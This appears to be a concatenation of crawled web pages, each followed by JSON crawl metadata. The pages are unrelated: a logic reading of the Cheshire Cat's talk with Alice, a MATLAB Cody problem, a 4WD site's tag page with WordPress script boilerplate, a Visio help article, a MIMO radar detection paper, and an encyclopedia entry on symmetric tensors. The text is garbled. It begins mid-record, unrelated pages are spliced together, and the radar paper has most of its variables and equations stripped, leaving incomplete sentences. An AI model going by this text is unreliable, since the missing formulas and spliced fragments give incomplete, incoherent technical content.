] | {"ft_lang_label":"__label__en","ft_lang_prob":0.84041953,"math_prob":0.83748573,"size":274,"snap":"2019-35-2019-39","text_gpt3_token_len":91,"char_repetition_ratio":0.12962963,"word_repetition_ratio":0.0,"special_character_ratio":0.3649635,"punctuation_ratio":0.12,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.98865414,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-09-18T05:25:26Z\",\"WARC-Record-ID\":\"<urn:uuid:a7042f1f-1bd0-4d02-93a9-fb9aba91a9dd>\",\"Content-Length\":\"20083\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:fb124882-29a7-4942-8c4c-bbfbb7aedcb5>\",\"WARC-Concurrent-To\":\"<urn:uuid:6bb72764-c362-4472-9aff-0d4af4342cf8>\",\"WARC-IP-Address\":\"64.235.47.24\",\"WARC-Target-URI\":\"https://www.solutioninn.com/the-partial-molar-volumes-of-two-liquids-and-b-in-mixture\",\"WARC-Payload-Digest\":\"sha1:63HUOYZHPTITHZCESGXN4K2DPIOMGCE2\",\"WARC-Block-Digest\":\"sha1:OO6XG27S7ZBPSJYJJLCAC7FMVR4GUR3E\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-39/CC-MAIN-2019-39_segments_1568514573184.25_warc_CC-MAIN-20190918044831-20190918070831-00261.warc.gz\"}"} |
https://fr.mathworks.com/matlabcentral/cody/problems/459-sum-of-diagonal-of-a-square-matrix/solutions/156995 | [
"Cody\n\n# Problem 459. Sum of diagonal of a square matrix\n\nSolution 156995\n\nSubmitted on 2 Nov 2012 by J.R.! Menzinger\nThis solution is locked. To view this solution, you need to provide a solution of the same size or smaller.\n\n### Test Suite\n\nTest Status Code Input and Output\n1 Pass\n%% x = magic(4); y_correct = sum(diag(x)); assert(isequal(your_fcn_name(x),y_correct))\n\n2 Pass\n%% x = ones(5); y_correct = sum(diag(x)); assert(isequal(your_fcn_name(x),y_correct))\n\n### Community Treasure Hunt\n\nFind the treasures in MATLAB Central and discover how the community can help you!\n\nStart Hunting!"
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.70939356,"math_prob":0.9612474,"size":599,"snap":"2020-45-2020-50","text_gpt3_token_len":163,"char_repetition_ratio":0.13445379,"word_repetition_ratio":0.022727273,"special_character_ratio":0.29382303,"punctuation_ratio":0.12612613,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99038196,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-11-25T23:40:42Z\",\"WARC-Record-ID\":\"<urn:uuid:72444a0e-e02f-4f1b-b408-8b19c8461810>\",\"Content-Length\":\"78588\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:c42867f6-da47-4792-bfc8-94f99be12cc7>\",\"WARC-Concurrent-To\":\"<urn:uuid:19cf31dd-1b42-4ec1-80af-57607a199027>\",\"WARC-IP-Address\":\"184.24.72.83\",\"WARC-Target-URI\":\"https://fr.mathworks.com/matlabcentral/cody/problems/459-sum-of-diagonal-of-a-square-matrix/solutions/156995\",\"WARC-Payload-Digest\":\"sha1:MK4FZV3HFG35LCFKRBEBOB3IH5K2GOQR\",\"WARC-Block-Digest\":\"sha1:537KDUYNEQ3DP4VT3M7LKHIQHI2BTBUJ\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-50/CC-MAIN-2020-50_segments_1606141184870.26_warc_CC-MAIN-20201125213038-20201126003038-00327.warc.gz\"}"} |
https://moemaka.net/eng/2018/08/mathematics-behind-the-madness-of-the-cat-and-alice-by-dr-khin-maung-win-maths/ | [
"# MATHEMATICS BEHIND THE MADNESS OF THE CAT AND ALICE by Dr Khin Maung Win (Maths)\n\nMATHEMATICS BEHIND THE MADNESS OF THE CAT\nAND ALICE by Dr Khin Maung Win (Maths)\n\n(http://www.specialbindings.com/aliceinwonderlandjournal.htm)\nThe following passage is from Lewis Carrol’s ‘Alice in Wonderland’.\n”You must be or you wouldn’t have come here.”\nAlice didn’t think that proved it at all .However she went on.\n”And how do you know that you’re mad ?”\n”To begin with,a dog’s not mad.You grant that?”\n”I suppose so.”\n”Well then,you see a dog growls when it’s angry and wags its tail when it’s pleased.\nNow,I growl when I’m pleased and wag my tail when I’m angry.Therefore I’m mad.”\nIn order to give a mathematical interpretation of the conversation,\nI shall have to recall some of the laws of Logic which will be used.\nThey are as follows .::\n(1) .All statements are either true or false but never both at\nthe same time.\n. (2 )If a statement is not true,it is false.\n. (3)If a statement is not false, it is true.\n. (4) If two statements are joined by a conjunction ‘and’ ,then\nthe joined statement is true when both of the individual statements are true,\nand false when at least one of them is false.\n(5) .If two statements are joined by a conjunction ‘or’ , the joined statement is true when\nat least one of the individual statements is true ,and false when both the individual statements are false.\nSuppose A and B are two statements.Let ‘A or B ‘ be the joined statement of A and B. Suppose that ‘A or B ‘ is true.Then if A is false,then B has to be true and if B is false , then A has to be true.\n\nIn other words, ‘if A is not true,B must be true and if B is not true, A must be true.\nIn the conversation between the cat and Alice,the last law or formula of Logic has beeen used by the cat to prove that Alice is mad,although Alice herself does not accept it.\n\nTo be able to give a mathematical interpretation,we shall\nre -write the main points of the conversation as follows.:\nAlice . How do you know that I’m mad ?\nCat . You must be or you wouldn’t come here.\nThere are two statements namely , ‘The cat is mad.’ and\n‘Alice is mad .’ The reason for ‘ Alice is mad’ is given by\n‘You must be or you wouldn’t come here.’ Re writing it mathematiclly it becomes two statements joined by ‘or’ in the following way .\n\n‘Alice is mad or Alice does not come here. ‘\nAccording to the laws of Logic,it means that\nIf the statement ‘Alice does not come here ‘ is false, then the statement ‘Alice is mad ‘must me true. ‘Alice does not come here ‘ is false means that ‘Alice comes here ‘ .\nThus it means that ‘If Alice comes here,Alice is mad.’ But Alice didn’t think that proved it at all.It means that Alice does not accept it as the proof.It is for the reader to\ndecide whether to accept it as the proof or not. Whether to accept or not ,\nboils down to whether to accept this statement to be true or not .’If someone comes here ,\nthen he or she is mad.’ Alice does not aaccept it as true.. Do you ?\nNext,let us cconsider the reasons behind the statement ‘The cat is mad.’\nThe conversation may be re written mathematically as follows."
] | [
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https://4wdmechanix.com/tag/sema-new-products-showcase/ | [
"Home Tags Posts tagged with \"SEMA New Products Showcase\"\n``` Instagram Youtube Email Rss ```\n```",
null,
"Home Forums with ‘Q&A’ “Road Ready!” with Moses Ludel at YouTube Publisher Profile Advertising Opportunities",
null,
"Home Forums with ‘Q&A’ “Road Ready!” with Moses Ludel at YouTube Publisher Profile Advertising Opportunities Category NavigationCategory Navigation Select Category “Road Ready!” (13) “Road Ready!” with Moses Ludel at YouTube (9) 404 Error (1) How-to Articles (319) How-to Video (352) New Products (297) News and Events (262) Off-Road Racing (4) Press Releases (1) Powersports, UTV and Dual-Sport Motorcycle (1) Publisher Information (1) Travel and Adventure (120) Welding How-to (59) /* <![CDATA[ */ (function() { var dropdown = document.getElementById( \"categories-dropdown-6\" ); function onCatChange() { if ( dropdown.options[ dropdown.selectedIndex ].value > 0 ) { dropdown.parentNode.submit(); } } dropdown.onchange = onCatChange; })(); /* ]]> */ Archives Archives Select Month August 2022 (1) July 2022 (2) June 2022 (5) May 2022 (3) April 2022 (8) March 2022 (3) February 2022 (1) January 2022 (4) December 2021 (13) November 2021 (1) October 2021 (2) September 2021 (7) July 2021 (1) May 2021 (2) April 2021 (5) January 2021 (1) November 2020 (3) October 2020 (2) August 2020 (1) June 2020 (1) May 2020 (1) April 2020 (4) March 2020 (3) December 2019 (1) November 2019 (2) October 2019 (2) September 2019 (1) July 2019 (1) June 2019 (1) May 2019 (3) March 2019 (3) December 2018 (4) November 2018 (1) September 2018 (1) July 2018 (2) June 2018 (3) February 2018 (2) January 2018 (2) November 2017 (3) October 2017 (2) July 2017 (6) May 2017 (4) April 2017 (2) March 2017 (6) February 2017 (1) January 2017 (2) December 2016 (9) November 2016 (7) September 2016 (3) August 2016 (2) July 2016 (2) June 2016 (4) May 2016 (1) April 2016 (12) March 2016 (5) February 2016 (2) January 2016 (3) December 2015 (10) September 2015 (7) June 2015 (1) April 2015 (385) January 2015 (39) August 2011 (1) /* <![CDATA[ */ (function() { var dropdown = document.getElementById( \"archives-dropdown-9\" ); function onSelectChange() { if ( dropdown.options[ dropdown.selectedIndex ].value !== '' ) { document.location.href = this.options[ this.selectedIndex ].value; } } dropdown.onchange = onSelectChange; })(); /* ]]> */ /* <![CDATA[ */ var ajax_var_more = {\"url\":\"https:\\/\\/4wdmechanix.com\\/wp-admin\\/admin-ajax.php\",\"nonce\":\"cc59fe6d8d\",\"errorPass\":\"<p class=\\\"message message-error\\\">Password does not match the confirm password<\\/p>\",\"login\":\"Email Address\",\"password\":\"Password\",\"headerstyle\":\"default\"}; /* ]]> */ /* <![CDATA[ */ var ajax_var = {\"url\":\"https:\\/\\/4wdmechanix.com\\/wp-admin\\/admin-ajax.php\",\"nonce\":\"cc59fe6d8d\",\"errorPass\":\"<p class=\\\"message message-error\\\">Password does not match the confirm password<\\/p>\",\"login\":\"Email Address\",\"password\":\"Password\",\"headerstyle\":\"default\"}; /* ]]> */ /* <![CDATA[ */ var jetpackLazyImagesL10n = {\"loading_warning\":\"Images are still loading. Please cancel your print and try again.\"}; /* ]]> */ _stq = window._stq || []; _stq.push([ 'view', {v:'ext',j:'1:11.2',blog:'202314014',post:'0',tz:'-7',srv:'4wdmechanix.com'} ]); _stq.push([ 'clickTrackerInit', '202314014', '0' ]); !function(n,t){\"object\"==typeof exports&&\"undefined\"!=typeof module?module.exports=t():\"function\"==typeof define&&define.amd?define(t):(n=\"undefined\"!=typeof globalThis?globalThis:n||self).LazyLoad=t()}(this,(function(){\"use strict\";function n(){return n=Object.assign||function(n){for(var t=1;t<arguments.length;t++){var e=arguments[t];for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(n[i]=e[i])}return n},n.apply(this,arguments)}var t=\"undefined\"!=typeof window,e=t&&!(\"onscroll\"in window)||\"undefined\"!=typeof navigator&&/(gle|ing|ro)bot|crawl|spider/i.test(navigator.userAgent),i=t&&\"IntersectionObserver\"in window,o=t&&\"classList\"in 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https://support.microsoft.com/en-us/office/specify-dimensions-and-position-by-using-the-size-position-window-546fd424-7685-47da-bf9c-e199b8fdca53 | [
"Specify dimensions and position by using the Size & Position window\n\n# Specify dimensions and position by using the Size & Position window\n\n• On the View tab, in the Show group, click Task Panes, and then click Size & Position.\n\nSelect a shape to see and edit information about that shape.\n\n## Specify the height and width of a shape\n\nThe Size & Position window has fields for height and width where you can type an exact number and a unit of measure.\n\nFor example, imagine that you have a small rectangular table that you want to fit into an office layout diagram. The table top is 1 foot, 9 inches by 1 foot, 5 inches. When you drag a rectangular table from the Office Furniture stencil, you see that the dimensions are 3 feet, 6 inches by 6 feet. Instead of using the resizing handles on the table shape to make it smaller, use the Size & Position window to set the exact size.\n\n1. Select the table shape on the drawing page.\n\n2. In the Size & Position window, select the value in the Width field (3 ft. 6 in.) and replace it by typing 1 foot 9 inches, and then press ENTER.\n\nDo not use a comma to separate measurement values, such as between feet and inches, or Visio will show an error.\n\nYou can use a different unit of measure by typing the unit name you want to use. For example, you could type 21 inches or even .583 yard.\n\n3. Select the value in the Height field (6 ft.) and replace it by typing 1 ft. 5 in.\n\nThe table shape is now an accurate representation of the size of the real table.\n\n## Use formulas to set values\n\nYou can set values in Size & Position window fields by typing mathematical equations using operators such as these:\n\n• Subtract (-)\n\n• Multiply (*)\n\n• Divide (/)\n\nPress ENTER to calculate the resulting value and apply it to the shape.\n\n## X, Y, and Pin Position\n\nThe values of the X and Y fields show the distance from the point of origin in the diagram to the pin position in the selected shape.\n\nThe point of origin is usually the bottom left corner of the drawing page, but it can be in other locations in some templates. To find the point of origin for a drawing, select a shape and set the X and Y values to 0 (zero). The shape moves so its pin position is directly on the point of origin.\n\nThe pin position of a shape not only determines how the X and Y values set the shape’s position, but also the point around which the shape rotates. For example, if you would like to rotate a shape around a corner instead of around the center point, use the drop-down list in the Pin Pos field to specify the corner."
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https://www.hindawi.com/journals/tswj/2015/341619/ | [
"#### Abstract\n\nThe problem of optimising the target detection performance of MIMO radar in the presence of clutter is considered. The increased false alarm rate which is a consequence of the presence of clutter returns is known to seriously degrade the target detection performance of the radar target detector, especially under low SNR conditions. In this paper, a mathematical model is proposed to optimise the target detection performance of a MIMO radar detector in the presence of clutter. The number of samples that are required to be processed by a radar target detector regulates the amount of processing burden while achieving a given detection reliability. While Subspace Compressive GLRT (SSC-GLRT) detector is known to give optimised radar target detection performance with reduced computational complexity, it however suffers a significant deterioration in target detection performance in the presence of clutter. In this paper we provide evidence that the proposed mathematical model for SSC-GLRT detector outperforms the existing detectors in the presence of clutter. The performance analysis of the existing detectors and the proposed SSC-GLRT detector for MIMO radar in the presence of clutter are provided in this paper.\n\n#### 1. Introduction\n\nClutter is comprised of all the reflected return signals from the extraneous background environment that arrive at the radar detector. Clutter returns appear on the same domain as the target returns. The presence of clutter is known to cause increased false alarms and hence compromise the target detection performance of the radar detector at a constant false alarm rate . The deterioration in target detection performance is significantly increased when compressive sampling is used. In the existing literature, authors proposed using Doppler shift caused due to moving targets to negotiate clutter [22, 23]. While this approach yields performance gains in the case of fast moving targets and airborne radars, alternative approaches need to be investigated for ground based radars with slow moving targets.\n\nIn most of the existing research, the presence of clutter has not been addressed by the authors in the context of Compressive GLRT techniques. The main contribution of this paper is providing a detailed mathematical model to optimise the target detection performance of C-GLRT and SSC-GLRT detectors for a MIMO radar detector in the presence of clutter by exploiting the known knowledge of the clutter subspace. The proposed mathematical model is applied to Compressive and Subspace Compressive GLRT detection schemes and the corresponding target detection performance gains are measured. The target detection probabilities of the proposed and conventional GLRT detectors in the presence of clutter are plotted to demonstrate the superiority of the proposed model. The proposed compressing sensing techniques find their applications in resource constrained security applications with limited processing capabilities. The rest of the paper is organised as follows. In Section 2, the system model and the signal models for binary hypothesis testing are introduced. In Section 3, the test statistic for a GLRT detector in the presence of clutter is derived. In Section 4, the proposed mathematical model for SSC-GLRT detector in the presence of clutter is derived. The performance evaluation and simulation results are given in Section 5. Conclusions and future work are summarised in Section 6.\n\n#### 2. Signal Model and Hypothesis Testing\n\n##### 2.1. Signal Model\n\nAs aforementioned, the problem of interest which is considered in this paper is detecting the presence of a target using ground based bistatic MIMO radar. The MIMO radar is assumed to have transmitting antennas and receiving antennas. Each receiving antenna is assumed to have array elements. It is assumed that each transmitting antenna transmits coherent pulses per transmitting cycle (Figure 1).\n\nIn the presence of a target within a cluttered background, the received signal at each receiver element can be expressed as a combination of target return, clutter return, and noise. Hence the received signal at each MIMO receiver can be mathematically modelled aswhere is the received signal at the th receiver antenna and it is of dimensions , is the steering vector of dimensions , represents the clutter subspace and is of dimensions , is the unknown complex value accounting for target backscattering power and channel propagation between transmitter, target, and the receiver and it is of dimension , and is the unknown complex amplitude of the clutter return which is of dimensions . Finally, denotes the noise component which is of dimensions .\n\nIn (1), the clutter subspace matrix is a priori unknown. Detection algorithms suffer deterioration in the detection performance in the presence of unknown clutter. The knowledge of clutter is necessary to achieve reliable detection rates and hence clutter estimation is necessary prior to target detection. To estimate clutter, the knowledge of a set of secondary data which are free of target returns is necessary:In the existing literature, the authors have addressed the problem of clutter estimation from the available secondary data . For the rest of this paper, it is assumed that a reliable clutter estimate is available to the target detector with clutter being relatively time invariant.\n\n##### 2.2. Hypothesis Testing\n\nThe performance measure of a radar receiver, while being dedicated to detect the existence or nonexistence of targets within a region of interest, is the degree of reliability on such decision making. The two possible outcomes of this decision making process are occurrence or nonoccurrence of a phenomenon representing existence and nonexistence of the target, respectively, which is modelled as a binary hypothesis testing problem. The two possible hypotheses are and , where represents the absence of the target and represents the presence of the target. The corresponding signal models of these hypotheses are [14, 21] The amplitude vector and the noise variance are assumed to be unknown to the radar receiver, while noise is assumed to be AWGN. The test statistic for the GLRT detector is generated from the log-likelihood ratio function within which the unknown parameters are estimated using Maximum Likelihood (ML) estimator. For a desired false alarm rate (), a threshold is generated which is compared with the likelihood ratio function such that a decision regarding the presence or absence of the target can be made.\n\n#### 3. GLRT Detector in the Presence of Clutter\n\nClutter signal returns are spread across frequency spectrum and away from zero frequency. Clutter returns are often known to lead to increased false alarm rates. With relatively small target Radar Cross-Sections (RCS), it is often the case where the signal strengths from target returns are weaker than the clutter returns and hence makes target detection process more difficult at a constant false alarm rate (CFAR). Hence careful considerations of the effect of clutter returns are to be included in target detection design process to maintain the required CFAR. For the received signal models described in (3), the joint probability density functions for the unknown parameters under hypotheses and are defined asIt is assumed that the radar target detector does not have the knowledge of the noise variance, represented by , and the complex amplitudes of clutter and target returns which are represented by and , respectively. To formulate the test statistic, the unknown parameters are estimated by maximising the unknown parameter values for a given set of received signal samples. The Maximum Likelihood (ML) estimator estimates these unknown parameters from the log-likelihood function which is denoted by . The log-likelihood functions under hypotheses and are summarised as\n\n##### 3.1. ML Estimate of Noise Variance\n\nLet the ML estimates of the noise variance, , under hypotheses and be denoted by and , respectively. The corresponding ML estimates can be obtained from the partial derivatives of (5) and (6) with respect to :and thus, by solving (7) and (8), ML estimates of under hypotheses and can be summarised as\n\n##### 3.2. ML Estimate of Clutter Return\n\nLet the ML estimates of the unknown complex amplitude of the clutter signal return under hypotheses and be denoted by and , respectively. As aforementioned, the corresponding ML estimates can be obtained from the partial derivatives of (5) and (6) with respect to :Solving (11) and (12), it can be observed that ML estimate of the complex amplitude of the clutter signal return is independent of . ML estimates of under hypotheses and can be summarised as\n\n##### 3.3. ML Estimate of Target Return\n\nThe complex amplitude of the radar signal which is backscattered from the target is unknown to the radar detector. Let the ML estimate of the target return under hypotheses and be denoted by and , respectively. From (5) and (6),Hypothesis is based on the assumption that there is no target return. From (16) it can be observed that the ML estimate of the target return under hypothesis isML estimate of can be obtained from (16) and (14) asTherefore the ML estimate of complex amplitude of the target return can be summarised by solving (18) aswhere .\n\nBy using the ML estimates of the unknown parameters, the test statistic can be obtained as\n\n#### 4. Proposed Subspace Compressive GLRT Detector in the Presence of Clutter\n\n##### 4.1. Signal Model\n\nUnlike a C-GLRT which uses a random projection matrix to compress the received signal samples, for SSC-GLRT, we derive the projection matrix based on the knowledge of the signal subspace. The projection matrix for SSC-GLRT can be derived aswhere is the random measurement matrix.\n\nFor SSC-GLRT, the compressed received signal model under hypotheses and can be obtained from (3) and (21) asSSC-GLRT detector uses the received signal models as described in (22) to make a decision regarding the existence or nonexistence of a target. As mentioned in Section 3, the unknown parameters are statistically estimated using ML estimator. The joint probability density functions for the unknown parameters for SSC-GLRT under hypotheses and are defined asWhile the measurement matrix is known to the radar detector, the noise variance and the complex amplitudes of the clutter and target returns are the unknown parameters. For the probability density functions as defined in (23), the log-likelihood functions for SSC-GLRT under hypotheses and are expressed as\n\n##### 4.2. ML Estimate of Noise Variance\n\nLet the ML estimates of the noise variance under hypotheses and be denoted by and , respectively. The corresponding ML estimates can be obtained from the partial derivatives of (24) and (25) with respect to :Solving (24), (25), (26), and (27), ML estimates for under hypotheses and can be summarised as\n\n##### 4.3. ML Estimate of Clutter Return\n\nThe ML estimates of the complex amplitude of the clutter signal returns under hypotheses and which are denoted by and can be obtained from the partial derivatives of (24) and (25) with respect to :Solving (30) and (31) and rearranging terms, we can obtain the ML estimates and aswhere .\n\n##### 4.4. ML Estimate of Target Return\n\nTarget return is the energy gathered by the radar receiver which is backscattered from a target. Hypothesis is based on the assumption that the target is absent. Hence, under , the complex amplitude of the target return has zero magnitude. However, under hypothesis , the ML estimate of the target return which is denoted by can be obtained asSolving (34) as aforementioned, the ML estimate of the target return for SSC-GLRT detector in the presence of clutter can be obtained aswhere .\n\nBy using the ML estimates of the unknown parameters, the test statistic can be obtained from (28) and (29) as\n\n#### 5. Simulations\n\nIn this section, we demonstrate the performance of the proposed mathematical model for a MIMO radar target detector in the presence of clutter. As a measure of radar target detection performance we denote the terms probability of detection () which is defined as the percentage of cases in which the true presence of targets is detected and Probability of False Alarm () which is defined as the percentage of cases in which the presence of targets is falsely assumed. The experiments are conducted based on Monte Carlo simulations averaged over 10000 samples. A ground based bistatic MIMO radar is considered with transmitting antenna and receiving antennas. It is assumed that each receiving antenna has array elements and the transmitting antennas transmit coherent pulses per transmitting cycle. The received signal samples are considered to be corrupted by clutter and noise. While noise is assumed to be zero-mean Gaussian, clutter is assumed to follow Rayleigh distribution. Simulations are conducted under CFAR with maintained at . In Figure 2, the target detection performance of the conventional GLRT and the proposed GLRT detectors in the presence of clutter is plotted. The performance of the GLRT detector in the absence of clutter is also plotted for comparative reasons. A clear loss of target detection performance for a conventional GLRT detector in the presence of clutter can be observed from the figure while the proposed GLRT detector demonstrated a significant improvement in the target detection performance. Similarly in Figures 3 and 4 the target detection performance of the proposed C-GLRT and SSC-GLRT detectors is plotted. While conventional SSC-GLRT detectors are known to reduce the computational complexity of the radar detector while providing target detection performances which are comparable to conventional GLRT detectors, however, when tested in the presence of clutter, a severe loss of target detection performance has been observed. From Figures 3 and 4 it can be clearly observed that our proposed C-GLRT and SSC-GLRT detectors achieve significantly higher target detection rates with reduced computational complexities. In Figure 5 the computational complexities of a conventional GLRT detector and the proposed SSC-GLRT detector are compared. The computational complexities are measured as a function of the number of arthematic operations involved for a given set of received signal samples during the target detection process.\n\n#### 6. Conclusion\n\nIn this paper, we have proposed a novel mathematical model to optimise the target detection performance of a MIMO radar in the presence of clutter. A GLRT detector is known to provide robust performance. The proposed mathematical model is tested on the conventional GLRT detector in the presence of clutter and a significant improvement in the target detection performance has been observed. A GLRT detector however requires a large number of received signal samples to provide optimal detection performance at CFAR. Compressive sensing for GLRT detector has been investigated to reduce the computational complexity of the target detector. From the simulation results, it can be clearly observed that a C-GLRT detector, while reducing the computational complexity, also suffers a significant loss of target detection performance. C-GLRT detector is tested in the presence of clutter and a further deterioration in the target detection performance has been observed. Our proposed mathematical model, when tested on C-GLRT detector, produced a significant improvement in the target detection performance. However, a SSC-GLRT detector in known to provide superior target detection performance when compared to C-GLRT detector. Hence, a SSC-GLRT detector has been tested in the presence of clutter and our proposed mathematical model has been applied to produce a clear improvement in target detection performance. Results are plotted for each of the three aforementioned detectors where the ideal performance, performance in the presence of clutter, and performance of the proposed model in the presence of clutter can be compared. It can be clearly observed that our proposed model provides significant performance gains in each of the three cases. Dynamic clutter suppression for SSC-GLRT detector is believed to provide better performance if added as signal preprocessing which we intend to investigate in our future work.\n\n#### Conflict of Interests\n\nThe authors declare that there is no conflict of interests regarding the publication of this paper."
] | [
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http://www.statemaster.com/encyclopedia/Symmetric-tensor | [
"",
null,
"FACTOID # 13: New York has America's lowest percentage of residents who are veterans.\n\n Home Encyclopedia Statistics States A-Z Flags Maps FAQ About\n\n WHAT'S NEW\n\nSEARCH ALL\n\nFACTS & STATISTICS Advanced view\n\nSearch encyclopedia, statistics and forums:\n\n(* = Graphable)\n\nEncyclopedia > Symmetric tensor\n\nIn mathematics, a symmetric tensor is a tensor that is invariant under a permutation of its vector arguments. Symmetric tensors of rank two are just symmetric matricies, and so are sometimes called quadratic forms. In more abstract terms, symmetric tensors of general rank are isomorphic to algebraic forms; that is, homogeneous polynomials and symmetric tensors are the same thing. A related concept is that of the antisymmetric tensor or alternating form; however, antisymmetric tensors have properties that are very different from those of symmetric tensors, and share little in common. Symmetric tensors occur widely in engineering, physics and mathematics. Euclid, Greek mathematician, 3rd century BC, as imagined by by Raphael in this detail from The School of Athens. ... In mathematics, a tensor is (in an informal sense) a generalized linear quantity or geometrical entity that can be expressed as a multi-dimensional array relative to a choice of basis; however, as an object in and of itself, a tensor is independent of any chosen frame of reference. ... Permutation is the rearrangement of objects or symbols into distinguishable sequences. ... In linear algebra, a symmetric matrix is a matrix that is its own transpose. ... In mathematics, a quadratic form is a homogeneous polynomial of degree two in a number of variables. ... In mathematics, an isomorphism (in Greek isos = equal and morphe = shape) is a kind of interesting mapping between objects. ... In the mathematics of the nineteenth century, an important role was played by the algebraic forms that generalise quadratic forms to degrees 3 and more, also known as quantics. ... In mathematics, homogeneous has a variety of meanings. ... In mathematics and theoretical physics, an antisymmetric tensor is a tensor that flips the sign if two indices are interchanged: If the tensor changes the sign under the exchange of any pair of indices, then the tensor is completely antisymmetric and it is also referred to as a differential form. ... In linear algebra, a skew-symmetric (or antisymmetric) matrix is a square matrix A whose transpose is also its negative; that is, it satisfies the equation: AT = −A or in component form, if A = (aij): aij = − aji for all i and j. ... Engineering is the design, analysis, and/or construction of works for practical purposes. ... Physics (Greek: (phúsis), nature and (phusiké), knowledge of nature) is the branch of science concerned with the fundamental laws of the universe. ... Euclid, Greek mathematician, 3rd century BC, as imagined by by Raphael in this detail from The School of Athens. ...\n\n## Contents\n\nA second-rank tensor is just a matrix. A matrix A , with components Aij, is said to be symmetric if Rank means a wide variety of things in mathematics, including: Rank (linear algebra) Rank of a tensor Rank of an array Rank of an abelian group Rank (set theory) Rank-into-rank Rank of a greedoid This is a disambiguation page — a navigational aid which lists other pages that... In mathematics, a matrix (plural matrices) is a rectangular table of numbers or, more generally, a table consisting of abstract quantities that can be added and multiplied. ...\n\nAij = Aji\n\nfor all i, j. Using vector notation, a matrix is symmetric if, for vectors v and w, one has\n\nA(v,w) = A(w,v)\n\nUsing tensor notation, given basis vectors ei, their duals",
null,
"$e^*_i$, one may write a matrix in terms of the tensor product of the dual basis as In mathematics, a subset B of a vector space V is said to be a basis of V if it satisfies one of the four equivalent conditions: B is both a set of linearly independent vectors and a generating set of V. B is a minimal generating set of V... In linear algebra, a dual basis is a set of orthogonal vectors that span (i. ... In mathematics, the tensor product, denoted by , may be applied in different contexts to vectors, matrices, tensors, vector spaces, algebras, topological vector spaces, and modules. ...",
null,
"$A=sum_{i,j=1}^n A_{ij} e^*_i otimes e^*_j$\n\nand so, for a symmetric matrix, one has",
null,
"$A(v otimes w) = A(w otimes v)$\n\nMore generally, the components of a symmetric tensor of rank m satisfy",
null,
"$A_{i_1 i_2 cdots i_m}= A_{i_{pi(1)} i_{pi(2)} cdots i_{pi (m)}}$\n\nfor any permutation π. Equivalently, one may write Permutation is the rearrangement of objects or symbols into distinguishable sequences. ...",
null,
"$A(v_1,v_2,cdots,v_m) = A(v_{pi(1)},v_{pi(2)},cdots,v_{pi(m)})$\n\nfor vectors",
null,
"$v_1, v_2,cdots$.\n\n## Examples\n\nMany material properties and fields used in physics and engineering can be represented as symmetric tensor fields; for example, stress, strain, and anisotropic conductivity. Symmetric rank 2 tensors can be diagonalized by choosing an orthogonal frame of eigenvectors. These eigenvectors are the principal axes of the tensor, and generally have an important physical meaning. For example, the principal axes of the moment of inertia define the ellipsoid representing the moment of inertia. This is a list of materials properties. ... The magnitude of an electric field surrounding two equally charged (repelling) particles. ... Stress is the internal distribution of force per unit area that balances and reacts to external loads applied to a body. ... The strain tensor, ε, is a symmetric tensor used to quantify the strain of an object undergoing a small 3-dimensional deformation: the diagonal coefficients εii are the relative change in length in the direction of the i direction (along the xi-axis) ; the other terms εij = 1/2 γij (i... This article is being considered for deletion in accordance with Wikipedias deletion policy. ... Electrical conductivity is a measure of how well a material accommodates the transport of electric charge. ... In linear algebra, the eigenvectors (from the German eigen meaning inherent, characteristic) of a linear operator are non-zero vectors which, when operated on by the operator, result in a scalar multiple of themselves. ... In mathematics, particularly linear algebra and functional analysis, the spectral theorem is a collection of results about linear operators or about matrices. ... Moment of inertia, also called mass moment of inertia and, sometimes, the angular mass, (SI units kg m², Former British units slug ft2) quantifies the rotational inertia of a rigid body, i. ... 3D rendering of an ellipsoid In mathematics, an ellipsoid is a type of quadric that is a higher dimensional analogue of an ellipse. ...\n\n## Properties\n\nAny rank two tensor can be represented as a sum of symmetric tensor and antisymmetric tensor: A = As + Aa, where In mathematics and theoretical physics, an antisymmetric tensor is a tensor that flips the sign if two indices are interchanged: If the tensor changes the sign under the exchange of any pair of indices, then the tensor is completely antisymmetric and it is also referred to as a differential form. ...",
null,
"$A^s = frac{1}{2} (A+A^T)$\n\nand",
null,
"$A^a = frac{1}{2} (A - A^mathrm{T})$\n\n(AT is the transpose of A:",
null,
"$A^T_{ij}=A_{ji}$.) In linear algebra, the transpose of a matrix A is another matrix AT (also written Atr, tA, or A′) created by any one of the following equivalent actions: write the rows of A as the columns of AT write the columns of A as the rows of AT reflect A...\n\nThe space of symmetric tensors of rank m defined on a vector space V is often denoted by Sm(V) or",
null,
"$operatorname{Sym}^m(V)$. This space has dimension",
null,
"$mathrm{dim} , operatorname{Sym}^m(V)={n+m-1choose m}$\n\nwhere n is the dimension of V and",
null,
"${n choose k}$ is the binomial coefficient. In mathematics, particularly in combinatorics, the binomial coefficient of the natural number n and the integer k is the number of combinations that exist. ...\n\nIn mathematics, a symmetric polynomial is a polynomial in n variables , such that if some of the variables are interchanged, the polynomial stays the same. ... In commutative algebra and invariant theory, Schur polynomials are certain homogeneous symmetric polynomials. ... In mathematics, a Young symmetrizer is an element of the group algebra of the symmetric group, constructed in such a way that the image of the element corresponds to an irreducible representation of the symmetric group. ...",
null,
"Results from FactBites:\n\n symmetric tensor: Definition and Much More from Answers.com (402 words)",
null,
"In more abstract terms, symmetric tensors of general rank are isomorphic to algebraic forms; that is, homogeneous polynomials and symmetric tensors are the same thing.",
null,
"Symmetric rank 2 tensors can be diagonalized by choosing an orthogonal frame of eigenvectors.",
null,
"These eigenvectors are the principal axes of the tensor, and generally have an important physical meaning.\n Springer Online Reference Works (287 words)",
null,
"A tensor which does not change on symmetrization with respect to some group of indices is called a symmetric tensor.",
null,
